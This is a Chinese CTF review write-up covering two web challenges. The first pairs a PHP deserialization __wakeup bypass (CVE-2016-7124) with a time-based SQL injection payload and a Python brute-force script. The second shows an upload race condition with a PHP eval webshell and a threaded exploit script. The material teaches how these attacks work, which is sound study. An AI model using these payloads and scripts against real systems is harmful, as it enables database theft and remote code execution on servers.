ctf经典好题复习
WEB200-2
这是swpu-ctf的一道题。
- <?php
- if(isset($_GET['user'])){
- $login = @unserialize(base64_decode($_GET['user']));
- if(!empty($login->pass)){
- $status = $login->check_login();
- if($status == 1){
- $_SESSION['login'] = 1;
- var_dump("login by cookie!!!");
- }
- }
- }
- class login{
- var $uid = 0;
- var $name="";
- var $pass='';
- //检查用户是否已登录
- public function check_login(){
- mysql_connect('localhost','root','root') or die("connect error");
- mysql_selectdb('skctf');
- $sqls = "select * from admin where username='$this->name'";
- $sqls = help::CheckSql($sqls);
- $re = mysql_query($sqls);
- $results = @mysql_fetch_array($re);
- //echo $sqls . $results['password'];
- mysql_close();
- if (!empty($results))
- {
- if($results['password'] == $this->pass)
- {
- return 1;
- }
- else
- {
- echo '0';
- return 0;
- }
- }
- }
- //预防cookie某些破坏导致登陆失败
- public function __destruct(){
- $this->check_login();
- }
- //反序列化时检查数据
- public function __wakeup(){
- $this->name = help::addslashes_deep($this->name);
- $this->pass = help::addslashes_deep($this->pass);
- }
- }
- class help {
- static function addslashes_deep($value)
- {
- if (empty($value))
- {
- return $value;
- }
- else
- {
- if (!get_magic_quotes_gpc())
- {
- $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags(addslashes($value));
- }
- else
- {
- $value=is_array($value) ? array_map("help::addslashes_deep", $value) : help::mystrip_tags($value);
- }
- return $value;
- }
- }
- static function remove_xss($string) {
- $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);
- $parm1 = Array('javascript', 'union','vbscript', 'expression', 'applet', 'xml', 'blink', 'link', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'base');
- $parm2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload','href','action','location','background','src','poster');
- $parm3 = Array('alert','sleep','load_file','confirm','prompt','benchmark','select','and','or','xor','update','insert','delete','alter','drop','truncate','script','eval','outfile','dumpfile');
- $parm = array_merge($parm1, $parm2, $parm3);
- for ($i = 0; $i < sizeof($parm); $i++) {
- $pattern = '/';
- for ($j = 0; $j < strlen($parm[$i]); $j++) {
- if ($j > 0) {
- $pattern .= '(';
- $pattern .= '(&#[x|X]0([9][a][b]);?)?';
- $pattern .= '|(�([9][10][13]);?)?';
- $pattern .= ')?';
- }
- $pattern .= $parm[$i][$j];
- }
- $pattern .= '/i';
- $string = preg_replace($pattern, '****', $string);
- }
- return $string;
- }
- static function mystrip_tags($string)
- {
- $string = help::new_html_special_chars($string);
- $string = help::remove_xss($string);
- return $string;
- }
- static function new_html_special_chars($string) {
- $string = str_replace(array('&', '"', '<', '>','&#'), array('&', '"', '<', '>','***'), $string);
- return $string;
- }
- // 实体出库
- static function htmlspecialchars_($value)
- {
- if (empty($value))
- {
- return $value;
- }
- else
- {
- if(is_array($value)){
- foreach ($value as $k => $v) {
- $value[$k] = self::htmlspecialchars_($v);
- }
- }else{
- $value = htmlspecialchars($value);
- }
- return $value;
- }
- }
- //sql 过滤
- static function CheckSql($db_string,$querytype='select')
- {
- $clean = '';
- $error='';
- $old_pos = 0;
- $pos = -1;
- if($querytype=='select')
- {
- $notallow1 = "[^0-9a-z@\._-]{1,}(load_file|outfile)[^0-9a-z@\.-]{1,}";
- if(preg_match("/".$notallow1."/i", $db_string))
- {
- exit("Error");
- }
- }
- //完整的SQL检查
- while (TRUE)
- {
- $pos = strpos($db_string, '\'', $pos + 1);
- if ($pos === FALSE)
- {
- break;
- }
- $clean .= substr($db_string, $old_pos, $pos - $old_pos);
- while (TRUE)
- {
- $pos1 = strpos($db_string, '\'', $pos + 1);
- $pos2 = strpos($db_string, '\\', $pos + 1);
- if ($pos1 === FALSE)
- {
- break;
- }
- elseif ($pos2 == FALSE || $pos2 > $pos1)
- {
- $pos = $pos1;
- break;
- }
- $pos = $pos2 + 1;
- }
- $clean .= '$s$';
- $old_pos = $pos + 1;
- }
- $clean .= substr($db_string, $old_pos);
- $clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
- if (strpos($clean, '@') !== FALSE OR strpos($clean,'char(')!== FALSE OR strpos($clean,'"')!== FALSE
- OR strpos($clean,'$s$$s$')!== FALSE)
- {
- $fail = TRUE;
- if(preg_match("#^create table#i",$clean)) $fail = FALSE;
- $error="unusual character";
- }
- elseif (strpos($clean, '/*') !== FALSE ||strpos($clean, '-- ') !== FALSE || strpos($clean, '#') !== FALSE)
- {
- $fail = TRUE;
- $error="comment detect";
- }
- elseif (strpos($clean, 'sleep') !== FALSE && preg_match('~(^|[^a-z])sleep($|[^[a-z])~is', $clean) != 0)
- {
- $fail = TRUE;
- $error="slown down detect";
- }
- elseif (strpos($clean, 'benchmark') !== FALSE && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~is', $clean) != 0)
- {
- $fail = TRUE;
- $error="slown down detect";
- }
- elseif (strpos($clean, 'load_file') !== FALSE && preg_match('~(^|[^a-z])load_file($|[^[a-z])~is', $clean) != 0)
- {
- $fail = TRUE;
- $error="file fun detect";
- }
- elseif (strpos($clean, 'into outfile') !== FALSE && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~is', $clean) != 0)
- {
- $fail = TRUE;
- $error="file fun detect";
- }
- if (!empty($fail))
- {
- exit("Error" . $error);
- }
- else
- {
- return $db_string;
- }
- }
- }
- ?>
从代码逻辑可以看到从Cookie里取user的值,然后base64_decode,然后反序列化到login这个类,反序列化之后先执行__wakeup(),然后执行__destruct()
其中在__wakeup()里可以看到几乎过滤了全部注入/XSS的关键词(用的是80sec的正则)。这里可以利用php5.6以下的版本是有一漏洞的,CVE-2016-7124
当序列化之后的字符串定义的的元素个数与实际个数不符合的时候(定义个数大于实际个数),__wakeup()将不会执行。__destruct()函数会调用check_login(),进入check_login函数。其中$name存在注入,也就是反序列化导致变量覆盖。但是$sqls = help::CheckSql($sqls);存在80sec的过滤。百度找了下payload:admin' and (select 1 from flag where ascii(mid(flag,1,1))=33) and (`'`.``.username=1 or sleep(3)) #即可绕过。
将属性的数量改为5,即可绕过__wakeup()
写个脚本跑:
- import requests
- import time
- #绕过80sec的payload
- #select * from admin where username='admin' and (select 1 from admin where ascii(mid(password,1,1))=53) and (`'`.``.username=1 or sleep(3)) #'
- def base64(s):
- import base64
- return base64.b64encode(s)
- url = "http://127.0.0.1/ctf/test.php"
- flag = ""
- for i in range(1,40):
- for j in range(33,125):
- payload = "admin' and (select 1 from admin where ascii(mid(password,%d,1))=%d) and (`'`.``.username=1 or sleep(5)) #"% (i,j)
- payload_len = len(payload)
- serialize_str = '''O:5:"login":5:{s:4:"name";s:%d:"%s";s:4:"pass";s:32:"21232f297a57a5a743894a0e4a801fc3";}''' % (payload_len,payload)
- headers = {
- 'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36',
- 'Cookie': 'user='+base64(serialize_str)
- }
- print payload
- start = time.time()
- requests.get(url,headers=headers)
- end = time.time()
- exec_time = end-start
- if exec_time > 5:
- flag += chr(j)
- print i,flag
- break
最终拿到密码:
写如下payload拿到flag:
文件上传时间竞争的例子:
源码:
- <!DOCTYPE html>
- <html>
- <head>
- <meta charset="utf-8">
- <title>upload</title>
- </head>
- <body>
- <form action="test.php" method="post" enctype="multipart/form-data">
- 选择文件:<input type="file" name="file">
- <input type="submit" value="上传文件">
- </form>>
- </body>
- </html>
- <?php
- $allowtype = array("gif","png","jpg");
- $size = 10000000;
- $path = "./";
- $filename = $_FILES['file']['name'];
- if(is_uploaded_file($_FILES['file']['tmp_name'])){
- if(!move_uploaded_file($_FILES['file']['tmp_name'],$path.$filename)){
- die("error:can not move");
- }
- }else{
- die("error:not an upload file!");
- }
- $newfile = $path.$filename;
- echo "file upload success.file path is: ".$newfile."\n<br />";
- if($_FILES['file']['error']>0){
- unlink($newfile);
- die("Upload file error: ");
- }
- $ext = array_pop(explode(".",$_FILES['file']['name']));
- if(!in_array($ext,$allowtype)){
- unlink($newfile);
- die("error:upload the file type is not allowed,delete the file!");
- }
首先将文件上传到服务器,然后检测文件后缀名,如果不符合条件,就删掉,我们的利用思路是这样的,首先上传一个 1.php 文件,内容为:
<?php fputs(fopen("./info.php", "w"), '<?php @eval($_POST["afanti"]) ?>'); ?>
当然这个文件会被立马删掉,所以我们使用多线程并发的访问上传的文件,总会有一次在上传文件到删除文件这个时间段内访问到上传的 php 文件,一旦我们成功访问到了上传的文件,那么它就会向服务器写一个 shell。利用代码如下:
- import os
- import requests
- import threading
- class RaceCondition(threading.Thread):
- def __init__(self):
- threading.Thread.__init__(self)
- self.url = "http://127.0.0.1/ctf/1.php"
- self.uploadUrl = "http://127.0.0.1/ctf/test.php"
- def _get(self):
- print('try to call uploaded file...')
- r = requests.get(self.url)
- if r.status_code == 200:
- print("[*]create file info.php success")
- os._exit(0)
- def _upload(self):
- print("upload file.....")
- file = {"file":open("1.php","r")}
- requests.post(self.uploadUrl, files=file)
- def run(self):
- while True:
- for i in range(5):
- self._get()
- for i in range(10):
- self._upload()
- self._get()
- if __name__ == "__main__":
- threads = 20
- for i in range(threads):
- t = RaceCondition()
- t.start()
- for i in range(threads):
- t.join()
多运行脚本几次,就会成功上传shell.
参考链接:
https://blog.l1n3.net/writeup/swpu_ctf_2016_writeup/
ctf经典好题复习的更多相关文章
- 经典算法题每日演练——第十七题 Dijkstra算法
原文:经典算法题每日演练--第十七题 Dijkstra算法 或许在生活中,经常会碰到针对某一个问题,在众多的限制条件下,如何去寻找一个最优解?可能大家想到了很多诸如“线性规划”,“动态规划” 这些经典 ...
- 经典算法题每日演练——第十六题 Kruskal算法
原文:经典算法题每日演练--第十六题 Kruskal算法 这篇我们看看第二种生成树的Kruskal算法,这个算法的魅力在于我们可以打一下算法和数据结构的组合拳,很有意思的. 一:思想 若存在M={0, ...
- 经典算法题每日演练——第十四题 Prim算法
原文:经典算法题每日演练--第十四题 Prim算法 图论在数据结构中是非常有趣而复杂的,作为web码农的我,在实际开发中一直没有找到它的使用场景,不像树那样的频繁使用,不过还是准备 仔细的把图论全部过 ...
- 经典算法题每日演练——第十一题 Bitmap算法
原文:经典算法题每日演练--第十一题 Bitmap算法 在所有具有性能优化的数据结构中,我想大家使用最多的就是hash表,是的,在具有定位查找上具有O(1)的常量时间,多么的简洁优美, 但是在特定的场 ...
- 经典算法题每日演练——第八题 AC自动机
原文:经典算法题每日演练--第八题 AC自动机 上一篇我们说了单模式匹配算法KMP,现在我们有需求了,我要检查一篇文章中是否有某些敏感词,这其实就是多模式匹配的问题. 当然你也可以用KMP算法求出,那 ...
- 经典算法题每日演练——第六题 协同推荐SlopeOne 算法
原文:经典算法题每日演练--第六题 协同推荐SlopeOne 算法 相信大家对如下的Category都很熟悉,很多网站都有类似如下的功能,“商品推荐”,"猜你喜欢“,在实体店中我们有导购来为 ...
- 经典算法题每日演练——第七题 KMP算法
原文:经典算法题每日演练--第七题 KMP算法 在大学的时候,应该在数据结构里面都看过kmp算法吧,不知道有多少老师对该算法是一笔带过的,至少我们以前是的, 确实kmp算法还是有点饶人的,如果说红黑树 ...
- Noip前的大抱佛脚----Noip真题复习
Noip前的大抱佛脚----Noip真题复习 Tags: Noip前的大抱佛脚 Noip2010 题目不难,但是三个半小时的话要写四道题还是需要码力,不过按照现在的实力应该不出意外可以AK的. 机器翻 ...
- [经典算法题]寻找数组中第K大的数的方法总结
[经典算法题]寻找数组中第K大的数的方法总结 责任编辑:admin 日期:2012-11-26 字体:[大 中 小] 打印复制链接我要评论 今天看算法分析是,看到一个这样的问题,就是在一堆数据 ...
随机推荐
- Cheatsheet: 2017 07.01 ~ 07.31
Other 8 Key Application Performance Metrics & How to Measure Them The Code Review: The Most Impo ...
- JAVA工具系列之——Postman
1 概述 Postman是一款测试rest接口的工具,可以实现前端未实施的情况下,后端同步开发.本文从部署到运用进行展开描写. 2 部署 第一步:进入Postman官网下载最新版本,下载链接 第二步: ...
- bnu 被诅咒的代码
http://www.bnuoj.com/bnuoj/problem_show.php?pid=10792 被诅咒的代码 Time Limit: 1000ms Memory Limit: 65536K ...
- 获取java根目录,加载根目录下的文件
就两句代码 String filepath = System.getProperty("user.dir")+"/a.xlsx"; File file=new ...
- 可持久化trie(BZOJ5338: [TJOI2018]xor)
题面 BZOJ Sol 显然是要维护一个区域的 \(trie\) 树,然后贪心 区间 \(trie\) 树??? 可持久化 \(trie\) 树??? 直接参考主席树表示出区间的方法建立 \(trie ...
- BootstrapValidator超详细教程
一.引入必要文件 下载地址:(https://github.com/nghuuphuoc/bootstrapvalidator/archive/v0.4.5.zip) <link rel=&qu ...
- Web开发须知的浏览器内幕 缓存与存储篇(2)
本文禁止转载,由UC浏览器内部出品. 3. HTTP Cache 综述 HTTP Cache是完全按照IETF规范实现的,最新的RFC规范地址是 https://tools.ietf.org/html ...
- Angular1.x 基础总结
官方文档:Guide to AngularJS Documentation w3shools angularjs教程 wiki <AngularJS权威教程> Introd ...
- vue知识点之day5
vuex是解决多层父子关系传值的问题,减少了传值的复杂度 vue+webpack安装图示
- 【SQL server 2012】复制数据库到另一台机器上
当需要将一台机器(源机器)上的一个数据库完全复制到另一台机器(目标机器)上时,可以选择先在源机器上备份该数据库,然后在目标机器上还原该备份的方法. 下面详细描述具体步骤: 1. 打开SQL serve ...